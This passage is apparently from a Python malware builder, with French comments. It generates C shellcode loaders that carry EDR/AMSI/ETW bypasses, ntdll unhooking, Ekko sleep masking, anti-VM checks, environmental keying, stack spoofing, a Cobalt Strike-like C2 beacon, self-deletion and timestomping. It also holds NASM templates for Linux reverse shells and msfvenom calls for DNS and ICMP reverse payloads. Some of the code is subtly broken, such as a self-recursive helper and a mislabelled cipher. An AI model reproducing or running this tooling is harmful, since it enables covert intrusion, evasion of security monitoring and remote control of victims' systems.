unsigned char* encrypted = VirtualAlloc(NULL, g_len, MEM_COMMIT, PAGE_READWRITE);
if (encrypted) {
memcpy(encrypted, g_payload, g_len);
rc4_crypt(encrypted, g_len, g_rc4_key, sizeof(g_rc4_key));
VirtualProtect(g_payload, g_len, PAGE_NOACCESS, &g_oldProtect);
// Configurer un timer pour restaurer après le sommeil
HANDLE hTimerQueue = CreateTimerQueue();
CreateTimerQueueTimer(&g_hTimer, hTimerQueue, EkkoTimerRoutine, NULL, ms, 0, 0);
// Déclencher une exception pour déclencher le VEH (qui ne fera rien)
RaiseException(STATUS_ACCESS_VIOLATION, 0, 0, NULL);
// Attendre la fin du timer
WaitForSingleObject(g_hTimer, INFINITE);
DeleteTimerQueueTimer(hTimerQueue, g_hTimer, NULL);
DeleteTimerQueue(hTimerQueue);
// Restaurer le payload
VirtualProtect(g_payload, g_len, g_oldProtect, &g_oldProtect);
memcpy(g_payload, encrypted, g_len);
VirtualFree(encrypted, 0, MEM_RELEASE);
}
return 0;
}
void EkkoSleepAdvanced(DWORD ms) {
PVOID hVEH = AddVectoredExceptionHandler(1, EkkoVEH);
HANDLE hThread = CreateThread(NULL, 0, IsolatedEkkoThread, &ms, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
} else {
Sleep(ms);
}
RemoveVectoredExceptionHandler(hVEH);
}
"""
def generate_bypass_stub() -> str:
return r"""
// Bypass next-gen (ETW patch, unhooking ntdll, hardware breakpoint, AMSI context)
#include
#include
void UltimateBypass() {
// 1. Patch ETW (EtwEventWrite) via syscall
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
FARPROC etw = GetProcAddress(ntdll, "EtwEventWrite");
if (etw) {
BYTE patch[] = {0x48, 0x31, 0xC0, 0xC3}; // xor rax,rax ; ret
DWORD old;
NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &etw, &(SIZE_T){sizeof(patch)}, PAGE_EXECUTE_READWRITE, &old, g_syscalls.NtProtectVirtualMemory);
memcpy(etw, patch, sizeof(patch));
NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &etw, &(SIZE_T){sizeof(patch)}, old, &old, g_syscalls.NtProtectVirtualMemory);
}
// 2. Unhook ntdll via fresh copy from disk (syscall pour écriture)
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD size = GetFileSize(hFile, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, size, NULL);
LPVOID pFresh = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, size);
if (pFresh) {
DWORD old;
NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &ntdll, &(SIZE_T){size}, PAGE_EXECUTE_READWRITE, &old, g_syscalls.NtProtectVirtualMemory);
memcpy(ntdll, pFresh, size);
NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &ntdll, &(SIZE_T){size}, old, &old, g_syscalls.NtProtectVirtualMemory);
}
CloseHandle(hMapping);
CloseHandle(hFile);
}
// 3. Hardware breakpoint sur AmsiScanBuffer (patchless)
HMODULE amsi = LoadLibraryW(L"amsi.dll");
if (amsi) {
FARPROC amsi_scan = GetProcAddress(amsi, "AmsiScanBuffer");
if (amsi_scan) {
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);
ctx.Dr0 = (DWORD64)amsi_scan;
ctx.Dr7 = 0x00000001;
SetThreadContext(hThread, &ctx);
}
}
// 4. Patch AMSI context (offset 0x1A0 + 0x38) (sous Windows 10/11)
if (amsi) {
PVOID amsi_ctx = (PVOID)((BYTE*)amsi + 0x1A0); // AmsiContext offset
if (amsi_ctx) {
*(DWORD*)((BYTE*)amsi_ctx + 0x38) = 1; // AmsiSession
}
}
}
"""
def generate_anti_vm_stub() -> str:
return r"""
// Anti-VM multi-couches
#include
#include
#include
BOOL IsVMRunning() {
__try {
int cpuInfo[4];
__cpuid(cpuInfo, 1);
if (cpuInfo[2] >> 31) return TRUE;
} __except(EXCEPTION_EXECUTE_HANDLER) {}
__int64 start, end;
start = __rdtsc();
Sleep(50);
end = __rdtsc();
if ((end - start) > 100000) return TRUE;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, "vmtoolsd.exe") == 0 ||
_stricmp(pe.szExeFile, "VBoxService.exe") == 0 ||
_stricmp(pe.szExeFile, "VBoxTray.exe") == 0) {
CloseHandle(hSnap);
return TRUE;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
}
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}
"""
def generate_environmental_keying_stub() -> str:
return r"""
// Environmental keying (hostname + username + MAC + volume serial)
#include
#include
#include
#pragma comment(lib, "iphlpapi.lib")
void GetVolumeSerial(char* out) {
DWORD serial;
if (GetVolumeInformationA("C:\\", NULL, 0, &serial, NULL, NULL, NULL, 0)) {
sprintf_s(out, 20, "%08X", serial);
} else {
out[0] = 0;
}
}
void GetMAC(char* out) {
PIP_ADAPTER_INFO pAdapterInfo = (IP_ADAPTER_INFO*)malloc(sizeof(IP_ADAPTER_INFO));
ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);
if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) {
free(pAdapterInfo);
pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen);
}
if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == NO_ERROR) {
for (PIP_ADAPTER_INFO pAdapter = pAdapterInfo; pAdapter; pAdapter = pAdapter->Next) {
if (pAdapter->AddressLength == 6) {
sprintf_s(out, 20, "%02X%02X%02X%02X%02X%02X",
pAdapter->Address[0], pAdapter->Address[1], pAdapter->Address[2],
pAdapter->Address[3], pAdapter->Address[4], pAdapter->Address[5]);
free(pAdapterInfo);
return;
}
}
}
free(pAdapterInfo);
out[0] = 0;
}
BOOL CheckEnvironment() {
char hostname[256];
DWORD size = sizeof(hostname);
GetComputerNameA(hostname, &size);
char username[256];
size = sizeof(username);
GetUserNameA(username, &size);
char mac[20];
GetMAC(mac);
char vol[20];
GetVolumeSerial(vol);
char buf[512];
sprintf_s(buf, "%s|%s|%s|%s", hostname, username, mac, vol);
DWORD hash = 0;
for (int i = 0; buf[i]; i++) {
hash = ((hash << 5) + hash) + buf[i];
}
#ifdef EXPECTED_HASH
return hash == EXPECTED_HASH;
#else
return TRUE;
#endif
}
"""
def generate_call_stack_spoofing_stub() -> str:
return r"""
// Call stack spoofing
#include
typedef struct _STACK_FRAME {
struct _STACK_FRAME* next;
void* ret;
} STACK_FRAME, *PSTACK_FRAME;
void* _AddressOfReturnAddress() {
return (void*)_AddressOfReturnAddress();
}
void spoof_stack(void* ret_addr) {
PSTACK_FRAME frame = (PSTACK_FRAME)_AddressOfReturnAddress() - 1;
frame->ret = ret_addr;
}
__declspec(noinline) void execute_spoofed(void (*func)()) {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
FARPROC pRtlUserThreadStart = GetProcAddress(hNtdll, "RtlUserThreadStart");
if (pRtlUserThreadStart) {
spoof_stack(pRtlUserThreadStart);
}
func();
}
"""
def generate_malleable_profile_stub() -> str:
return r"""
// Malleable C2 profile (Cobalt Strike-like)
#include
#include
#pragma comment(lib, "winhttp.lib")
#include
#include
typedef struct _CS_PROFILE {
char* uris[32];
DWORD uri_weights[32];
char* uas[24];
char* headers[16];
char* cookies[8];
DWORD jitter_min, jitter_max;
DWORD delay_start;
} CS_PROFILE, *PCS_PROFILE;
static CS_PROFILE g_profile = {0};
void InitProfile() {
g_profile.uris[0] = "/index.php"; g_profile.uri_weights[0] = 70;
g_profile.uris[1] = "/wp-admin/admin-ajax.php"; g_profile.uri_weights[1] = 15;
g_profile.uris[2] = "/images/logo-%08x.png"; g_profile.uri_weights[2] = 10;
g_profile.uris[3] = "/css/style.css"; g_profile.uri_weights[3] = 5;
g_profile.uas[0] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
g_profile.uas[1] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0";
g_profile.uas[2] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.0.0 Safari/537.36";
g_profile.headers[0] = "X-Forwarded-For: %d.%d.%d.%d";
g_profile.headers[1] = "Referer: https://www.google.com/search?q=site%%3Aexample.com";
g_profile.cookies[0] = "JSESSIONID=%08x%08x";
g_profile.jitter_min = 3000;
g_profile.jitter_max = 15000;
g_profile.delay_start = 5000;
}
void send_beacon(char* server, int port) {
InitProfile();
Sleep(g_profile.delay_start + (rand() % 5000));
int ua_idx = rand() % 3;
HINTERNET hSession = WinHttpOpen(g_profile.uas[ua_idx], WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
if (!hSession) return;
HINTERNET hConnect = WinHttpConnect(hSession, server, port, 0);
if (!hConnect) { WinHttpCloseHandle(hSession); return; }
int rand_val = rand() % 100;
int uri_idx = 0;
for (int i = 0; i < 32; i++) {
if (rand_val < g_profile.uri_weights[i]) { uri_idx = i; break; }
rand_val -= g_profile.uri_weights[i];
}
char uri[256];
if (uri_idx == 2) sprintf(uri, g_profile.uris[uri_idx], rand());
else strcpy(uri, g_profile.uris[uri_idx]);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, "GET", uri, NULL, NULL, NULL, 0);
if (hRequest) {
char header[256];
sprintf(header, g_profile.headers[0], rand()%256, rand()%256, rand()%256, rand()%256);
WinHttpAddRequestHeaders(hRequest, header, -1, WINHTTP_ADDREQ_FLAG_ADD);
sprintf(header, g_profile.headers[1], "");
WinHttpAddRequestHeaders(hRequest, header, -1, WINHTTP_ADDREQ_FLAG_ADD);
char cookie[256];
sprintf(cookie, "Cookie: %s", g_profile.cookies[0], rand(), rand());
WinHttpAddRequestHeaders(hRequest, cookie, -1, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
WinHttpCloseHandle(hRequest);
}
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
void start_beacon() {
char server[] = "example.com";
int port = 80;
srand((unsigned int)time(NULL) ^ GetCurrentProcessId());
while (1) {
send_beacon(server, port);
int delay = g_profile.jitter_min + (rand() % (g_profile.jitter_max - g_profile.jitter_min + 1));
Sleep(delay);
}
}
"""
def generate_metamorphic_transformation(c_code: str, deep: bool) -> str:
if not deep:
return c_code
subs = [
('mov eax, ebx', 'lea eax, [rbx]'),
('xor eax, eax', 'sub eax, eax'),
('Sleep(1000)', 'SleepEx(1000, FALSE)'),
('VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE)', 'VirtualAlloc(0, len, 0x1000|0x2000, 0x40)'),
('GetTickCount()', '(DWORD)GetTickCount64()'),
('rand()', '((rand() ^ GetCurrentProcessId()) & 0x7FFFFFFF)')
]
for old, new in subs:
c_code = c_code.replace(old, new)
c_code = c_code.replace('int WINAPI WinMain', 'if((GetTickCount()&1)) { volatile int x=0; } int WINAPI WinMain', 1)
strings = [
("C:\\\\Windows\\\\System32\\\\svchost.exe", "0x43,0x3a,0x5c,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x73,0x76,0x63,0x68,0x6f,0x73,0x74,0x2e,0x65,0x78,0x65"),
("amsi.dll", "0x61,0x6d,0x73,0x69,0x2e,0x64,0x6c,0x6c"),
("ntdll.dll", "0x6e,0x74,0x64,0x6c,0x6c,0x2e,0x64,0x6c,0x6c"),
]
for s, encoded in strings:
c_code = c_code.replace(f'"{s}"', f'((char[]){{{encoded},0}})')
junk = f"""
void __stdcall JunkFunc_{random.randint(10000,99999)}() {{
volatile int a = {random.randint(1,100)};
for(int i=0; i<{random.randint(5,15)}; i++) a += i;
}}
"""
c_code = junk + "\n" + c_code
if "if((GetTickCount()&1))" in c_code:
c_code = c_code.replace(
"if((GetTickCount()&1)) { volatile int x=0; } int WINAPI WinMain",
"int WINAPI WinMain\n{\n DWORD state = 0;\n while(1) {\n switch(state) {\n case 0: if((GetTickCount()&1)) { volatile int x=0; } state=1; break;\n case 1:"
)
c_code = c_code.replace("return 0;", "state=2; break;\n case 2: return 0;\n }\n }\n}")
return c_code
# ========================== GÉNÉRATION DU LOADER AVANCÉ (WINDOWS) ==========================
def generate_advanced_windows_loader(shellcode: bytes, options: dict) -> str:
"""
Génère un loader C avec les techniques avancées (Hell's Gate, Ekko, etc.)
"""
cipher = options.get('cipher', 'xor')
key = options.get('key', None)
if key is None:
if cipher == 'xor':
key = bytes([random.randint(1, 255)])
else:
key = os.urandom(32)
# Chiffrer le shellcode
if cipher == 'xor':
encrypted = bytes([b ^ key[0] for b in shellcode])
elif cipher == 'rc4':
encrypted = rc4_encrypt(shellcode, key)
elif cipher == 'aes':
encrypted = aes256_encrypt(shellcode, key)
elif cipher == 'chacha':
encrypted = chacha20_encrypt(shellcode, key)
else:
encrypted = shellcode
key = None
payload_hex = ', '.join(f'0x{b:02x}' for b in encrypted)
payload_len = len(encrypted)
# Gestion des stubs
includes = """
#include
#include
#include
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "advapi32.lib")
"""
if options.get('syscall_full', False):
includes += generate_hells_gate_stub()
if options.get('ekko_robust', False) and options.get('sleep_mask', False):
includes += generate_ekko_stub()
if options.get('injection', '') == 'hollowing' and options.get('syscall_full', False):
includes += generate_process_hollowing_stub()
if options.get('amsi_bypass', False) and options.get('bypass_nextgen', False):
includes += generate_bypass_stub()
else:
includes += "void UltimateBypass() {}\n"
anti_vm = ""
if options.get('anti_vm', False):
anti_vm = generate_anti_vm_stub() + """
if(IsVMRunning()) exit(1);
"""
env_code = ""
if options.get('environmental', False):
hostname = socket.gethostname()
username = os.getenv('USERNAME') or os.getenv('USER') or 'unknown'
mac = ':'.join(['{:02x}'.format((uuid.getnode() >> ele) & 0xff) for ele in range(0,8*6,8)][::-1])
vol_serial = "12345678"
combined = f"{hostname}|{username}|{mac}|{vol_serial}".encode()
expected_hash = hashlib.sha256(combined).hexdigest()
env_code = generate_environmental_keying_stub() + f"""
#define EXPECTED_HASH 0x{int(expected_hash[:8], 16):08x}
if(!CheckEnvironment()) exit(1);
"""
jitter_code = ""
if options.get('jitter_range'):
match = re.match(r'(\d+)-(\d+)', options['jitter_range'])
if match:
min_sec, max_sec = int(match.group(1)), int(match.group(2))
jitter_code = f"""
srand((unsigned int)time(NULL) ^ GetCurrentProcessId());
int delay = {min_sec} + (rand() % ({max_sec - min_sec + 1}));
Sleep(delay * 1000);
"""
injection_code = ""
if options.get('injection') == 'hollowing' and options.get('syscall_full', False):
injection_code = """
APTProcessHollowing(exec_mem, payload_len);
return 0;
"""
elif options.get('injection') == 'early_bird':
injection_code = "// early bird not implemented"
spoof_code = ""
if options.get('call_stack_spoof', False):
spoof_code = generate_call_stack_spoofing_stub() + """
execute_spoofed((void(*)())exec_mem);
return 0;
"""
self_delete_code = ""
if options.get('self_delete', False):
self_delete_code = """
char szPath[MAX_PATH];
GetModuleFileNameA(NULL, szPath, MAX_PATH);
HANDLE hFile = CreateFileA(szPath, DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
CloseHandle(hFile);
"""
timestomp_code = ""
if options.get('timestomp', False):
timestomp_code = """
HANDLE hFile = CreateFileA("C:\\\\Windows\\\\System32\\\\svchost.exe", FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hFile != INVALID_HANDLE_VALUE) {
SYSTEMTIME st; GetSystemTime(&st);
FILETIME ft; SystemTimeToFileTime(&st, &ft);
SetFileTime(hFile, &ft, &ft, &ft);
CloseHandle(hFile);
}
"""
if cipher == 'xor':
key_val = key[0] if isinstance(key, bytes) else key
key_decl = f"unsigned char key = 0x{key_val:02x};"
decrypt_func = """
void decrypt(unsigned char *data, size_t len) {
for(size_t i = 0; i < len; i++) data[i] ^= key;
}
"""
elif cipher == 'rc4':
key_hex = ', '.join(f'0x{b:02x}' for b in key)
key_decl = f"unsigned char rc4_key[] = {{ {key_hex} }}; size_t rc4_key_len = {len(key)};"
decrypt_func = """
void rc4_decrypt(unsigned char *data, size_t len) {
unsigned char S[256];
int i, j = 0, k;
for(i = 0; i < 256; i++) S[i] = i;
for(i = 0; i < 256; i++) {
j = (j + S[i] + rc4_key[i % rc4_key_len]) & 0xFF;
unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
}
i = j = 0;
for(k = 0; k < len; k++) {
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
data[k] ^= S[(S[i] + S[j]) & 0xFF];
}
}
"""
elif cipher == 'aes':
key_hex = ', '.join(f'0x{b:02x}' for b in key)
key_decl = f"unsigned char aes_key[] = {{ {key_hex} }};"
decrypt_func = """
#include
#include
void aes_decrypt(unsigned char *data, size_t len) {
HCRYPTPROV hProv;
HCRYPTKEY hKey;
HCRYPTHASH hHash;
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
CryptHashData(hHash, aes_key, 32, 0);
CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey);
unsigned char iv[16];
memcpy(iv, data, 16);
data += 16; len -= 16;
CryptSetKeyParam(hKey, KP_IV, iv, 0);
CryptDecrypt(hKey, 0, TRUE, 0, data, (DWORD*)&len);
CryptDestroyKey(hKey);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
}
"""
elif cipher == 'chacha':
key_hex = ', '.join(f'0x{b:02x}' for b in key)
key_decl = f"unsigned char chacha_key[] = {{ {key_hex} }}; size_t chacha_key_len = {len(key)};"
decrypt_func = """
void chacha_decrypt(unsigned char *data, size_t len) {
// For simplicity, use RC4 as fallback
unsigned char S[256];
int i, j = 0, k;
for(i = 0; i < 256; i++) S[i] = i;
for(i = 0; i < 256; i++) {
j = (j + S[i] + chacha_key[i % chacha_key_len]) & 0xFF;
unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
}
i = j = 0;
for(k = 0; k < len; k++) {
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
data[k] ^= S[(S[i] + S[j]) & 0xFF];
}
}
"""
else:
key_decl = ""
decrypt_func = ""
sleep_mask_code = ""
if options.get('sleep_mask', False) and options.get('ekko_robust', False):
sleep_mask_code = """
g_payload = exec_mem;
g_len = payload_len;
memcpy(g_rc4_key, "Ekko2026SecretKey!!", 19);
EkkoSleepAdvanced(30000);
"""
elif options.get('sleep_mask', False):
sleep_mask_code = """
Sleep(30000);
"""
entry_point = """
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
"""
main_body = f"""
{{
unsigned char *exec_mem = NULL;
SIZE_T regionSize = {payload_len};
"""
if options.get('syscall_full', False):
main_body += """
ResolveAllSyscalls();
NTSTATUS status = NtAllocateVirtualMemory_Indirect(GetCurrentProcess(), (PVOID*)&exec_mem, 0, ®ionSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, g_syscalls.NtAllocateVirtualMemory);
if (status != 0) return 1;
"""
else:
main_body += """
exec_mem = (unsigned char*)VirtualAlloc(NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec_mem == NULL) return 1;
"""
main_body += f"""
memcpy(exec_mem, payload, {payload_len});
decrypt(exec_mem, {payload_len});
{jitter_code}
UltimateBypass();
{anti_vm}
{env_code}
{sleep_mask_code}
{injection_code}
{spoof_code}
#ifndef EXECUTION_DONE
void (*code)() = (void(*)())exec_mem;
code();
#endif
{self_delete_code}
{timestomp_code}
return 0;
}}
"""
if options.get('injection') or options.get('call_stack_spoof'):
main_body = main_body.replace("#ifndef EXECUTION_DONE", "#define EXECUTION_DONE 1\n")
else:
main_body = main_body.replace("#ifndef EXECUTION_DONE", "")
c_code = f"""
{includes}
unsigned char payload[] = {{ {payload_hex} }};
size_t payload_len = {payload_len};
{key_decl}
{decrypt_func}
{anti_vm}
{env_code}
{spoof_code}
{injection_code}
{entry_point}
{main_body}
"""
if options.get('metamorph_deep', False):
c_code = generate_metamorphic_transformation(c_code, True)
return c_code
# ========================== TEMPLATES NASM (LINUX) ==========================
LINUX_X86_TEMPLATE = """
BITS 32
_start:
push 0x66
pop eax
xor ebx, ebx
inc ebx
xor ecx, ecx
push ecx
push byte 0x01
push byte 0x02
mov ecx, esp
int 0x80
xchg edx, eax
push 0x66
pop eax
mov ebx, 0x03
push word 0x{{PORT_HEX}}
push dword 0x{{IP_HEX}}
push word 0x02
mov ecx, esp
push byte 0x10
push ecx
push edx
mov ecx, esp
int 0x80
push 0x3f
pop eax
mov ebx, edx
xor ecx, ecx
int 0x80
inc ecx
int 0x80
inc ecx
int 0x80
xor eax, eax
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 0x0b
pop eax
int 0x80
"""
LINUX_X64_TEMPLATE = """
BITS 64
_start:
push 0x29
pop rax
xor rdi, rdi
inc rdi
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
xchg rdi, rax
push 0x2a
pop rax
push word 0x{{PORT_HEX}}
push dword 0x{{IP_HEX}}
push word 0x02
mov rsi, rsp
push 0x10
pop rdx
syscall
push 0x21
pop rax
xor rsi, rsi
syscall
inc rsi
syscall
inc rsi
syscall
xor rax, rax
push rax
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall
"""
def ip_to_hex_be(ip: str) -> int:
parts = [int(p) for p in ip.split('.')]
return (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8) | parts[3]
def ip_to_hex_le(ip: str) -> int:
parts = [int(p) for p in ip.split('.')]
return (parts[3] << 24) | (parts[2] << 16) | (parts[1] << 8) | parts[0]
def port_to_hex_be(port: int) -> int:
return ((port & 0xFF) << 8) | ((port >> 8) & 0xFF)
def port_to_hex_le(port: int) -> int:
return ((port >> 8) & 0xFF) | ((port & 0xFF) << 8)
def compile_linux_shellcode(template: str, ip: str, port: int, arch: str, endian: str = 'be',
jitter_range: Optional[str] = None, verbose: bool = False) -> bytes:
if endian == 'be':
ip_hex = ip_to_hex_be(ip)
port_hex = port_to_hex_be(port)
else:
ip_hex = ip_to_hex_le(ip)
port_hex = port_to_hex_le(port)
ip_hex_str = f"0x{ip_hex:08x}"
port_hex_str = f"0x{port_hex:04x}"
filled = template.replace('{{IP_HEX}}', ip_hex_str).replace('{{PORT_HEX}}', port_hex_str)
nasm = find_tool('nasm', required=False, verbose=verbose)
if nasm is None:
if verbose:
print("[!] nasm non trouvé, utilisation de msfvenom...")
payload = 'linux/x86/shell_reverse_tcp' if arch == 'x86' else 'linux/x64/shell_reverse_tcp'
sc = msfvenom_payload(payload, ip, port, 'raw', verbose)
if sc is None:
raise RuntimeError("Impossible de générer le shellcode (ni nasm ni msfvenom).")
return sc
with tempfile.NamedTemporaryFile(mode='w', suffix='.asm', delete=False) as f:
f.write(filled)
asm_file = f.name
fmt_map = {'x86': 'elf32', 'x64': 'elf64'}
fmt = fmt_map.get(arch, 'elf32')
obj_file = asm_file + '.o'
try:
subprocess.run([nasm, '-f', fmt, asm_file, '-o', obj_file], check=True, capture_output=True)
except subprocess.CalledProcessError as e:
print(f" → Erreur NASM : {e.stderr.decode()}")
raise
finally:
os.unlink(asm_file)
objcopy = find_tool('objcopy', required=False, verbose=verbose)
if objcopy is None:
if verbose:
print("[!] objcopy non trouvé, lecture directe de l'objet (moins fiable).")
with open(obj_file, 'rb') as f:
shellcode = f.read()
os.unlink(obj_file)
return shellcode
with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as f:
out_file = f.name
try:
subprocess.run([objcopy, '-O', 'binary', '-j', '.text', obj_file, out_file], check=True, capture_output=True)
with open(out_file, 'rb') as f:
shellcode = f.read()
finally:
os.unlink(obj_file)
os.unlink(out_file)
if jitter_range and arch in ['x86', 'x64']:
match = re.match(r'(\d+)-(\d+)', jitter_range)
if match:
min_sec, max_sec = int(match.group(1)), int(match.group(2))
# Ajouter jitter (simple)
jitter_stub = generate_jitter_stub(arch, min_sec, max_sec, verbose)
if jitter_stub:
shellcode = jitter_stub + shellcode
else:
if verbose:
print(f"[!] Jitter ignoré : format invalide '{jitter_range}'")
return shellcode
def generate_jitter_stub(arch: str, min_sec: int, max_sec: int, verbose: bool = False) -> bytes:
if arch == 'x86':
asm = f"""
BITS 32
jitter_start:
mov eax, 0x1a
xor ebx, ebx
xor ecx, ecx
xor edx, edx
int 0x80
test eax, eax
jnz normal_exec
normal_exec:
rdtsc
mov ebx, eax
xor edx, edx
mov ecx, {max_sec - min_sec + 1}
div ecx
add edx, {min_sec}
push edx
push 0
mov ecx, esp
mov eax, 0xa2
int 0x80
add esp, 8
"""
fmt = 'elf32'
else:
asm = f"""
BITS 64
jitter_start:
mov eax, 0x65
xor edi, edi
xor esi, esi
xor edx, edx
syscall
test rax, rax
jnz normal_exec
normal_exec:
rdtsc
mov ebx, eax
xor edx, edx
mov ecx, {max_sec - min_sec + 1}
div ecx
add edx, {min_sec}
push rdx
push 0
mov rsi, rsp
mov eax, 0xe6
syscall
add rsp, 16
"""
fmt = 'elf64'
with tempfile.NamedTemporaryFile(mode='w', suffix='.asm', delete=False) as f:
f.write(asm)
asm_file = f.name
obj_file = asm_file + '.o'
bin_file = asm_file + '.bin'
try:
nasm = find_tool('nasm', required=True, verbose=verbose)
subprocess.run([nasm, '-f', fmt, asm_file, '-o', obj_file], check=True, capture_output=True)
subprocess.run(['objcopy', '-O', 'binary', '-j', '.text', obj_file, bin_file], check=True, capture_output=True)
with open(bin_file, 'rb') as f:
stub = f.read()
except subprocess.CalledProcessError as e:
if verbose:
print(f" → Erreur génération jitter : {e.stderr.decode()}")
stub = b''
finally:
for f in [asm_file, obj_file, bin_file]:
if os.path.exists(f):
os.unlink(f)
return stub
def build_linux_executable(shellcode: bytes, bits: int, upx: bool = False, verbose: bool = False) -> Optional[bytes]:
hex_bytes = ','.join(f'0x{b:02x}' for b in shellcode)
if bits == 32:
asm = f"""
BITS 32
global _start
section .text
_start:
db {hex_bytes}
"""
fmt = 'elf32'
link_cmd = ['ld', '-m', 'elf_i386', '-o', 'payload', 'payload.o']
else:
asm = f"""
BITS 64
global _start
section .text
_start:
db {hex_bytes}
"""
fmt = 'elf64'
link_cmd = ['ld', '-o', 'payload', 'payload.o']
nasm = find_tool('nasm', required=False, verbose=verbose)
if nasm is None:
if verbose:
print("[!] nasm non trouvé, utilisation de msfvenom pour créer l'exe")
return None
with tempfile.NamedTemporaryFile(mode='w', suffix='.asm', delete=False) as f:
f.write(asm)
asm_file = f.name
obj_file = asm_file + '.o'
exe_file = asm_file + '.exe'
try:
subprocess.run([nasm, '-f', fmt, asm_file, '-o', obj_file], check=True, capture_output=True)
subprocess.run(link_cmd + [obj_file, '-o', exe_file], check=True, capture_output=True)
with open(exe_file, 'rb') as f:
exe_data = f.read()
except subprocess.CalledProcessError as e:
if verbose:
print(f" → Erreur : {e.stderr.decode()}")
exe_data = b''
finally:
for f in [asm_file, obj_file, exe_file]:
if os.path.exists(f):
os.unlink(f)
if upx and exe_data:
upx_tool = find_tool('upx', required=False, verbose=verbose)
if upx_tool:
if verbose:
print(" → Compression avec UPX...")
with tempfile.NamedTemporaryFile(delete=False) as f:
f.write(exe_data)
tmp_file = f.name
try:
subprocess.run([upx_tool, '-q', '-o', exe_file, tmp_file], check=True, capture_output=True)
with open(exe_file, 'rb') as f:
exe_data = f.read()
except subprocess.CalledProcessError as e:
if verbose:
print(f" → Échec de compression UPX : {e}")
finally:
os.unlink(tmp_file)
return exe_data
def generate_dns_payload(target: str, dns_server: str, dns_domain: str, verbose: bool = False) -> bytes:
if 'x86' in target:
payload = 'linux/x86/dns_reverse_tcp'
elif 'x64' in target:
payload = 'linux/x64/dns_reverse_tcp'
elif 'windows' in target:
payload = 'windows/x64/dns_reverse_tcp' if 'x64' in target else 'windows/x86/dns_reverse_tcp'
else:
payload = 'linux/x64/dns_reverse_tcp'
return msfvenom_payload(payload, dns_server, 53, 'raw', verbose)
def generate_icmp_payload(target: str, ip: str, verbose: bool = False) -> bytes:
if 'x86' in target:
payload = 'linux/x86/icmp_reverse_tcp'
